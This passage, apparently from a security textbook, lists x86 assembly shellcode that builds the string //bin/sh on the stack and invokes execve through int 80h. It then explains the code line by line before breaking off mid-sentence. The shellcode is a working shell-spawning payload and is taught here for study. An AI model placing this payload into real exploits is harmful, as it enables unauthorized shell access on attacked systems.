
4 pusheax
5 push 0x68732f6e
6 push 0x69622f2f
7 mov ebx, esp
8 push eax
9 push eax
10 push ebx
11 mov al, 59
12 push eax
13 int 80h
Analysis
Using the push instruction, we craft the string //bin/sh on the stack.The extra slash in
the beginning is not a spelling mistake; it is added to make the string eight bytes so that
it can be put on the stack using two push instructions (lines 5 and 6).
First, we make sure the EAX register contains only zeroes by using XOR at line 3.
Then we push this register’s content on the stack so that it can function as string termi-
nator. Now we can push //bin/sh in two steps. Remember that the stack grows back-
wards, so fir ...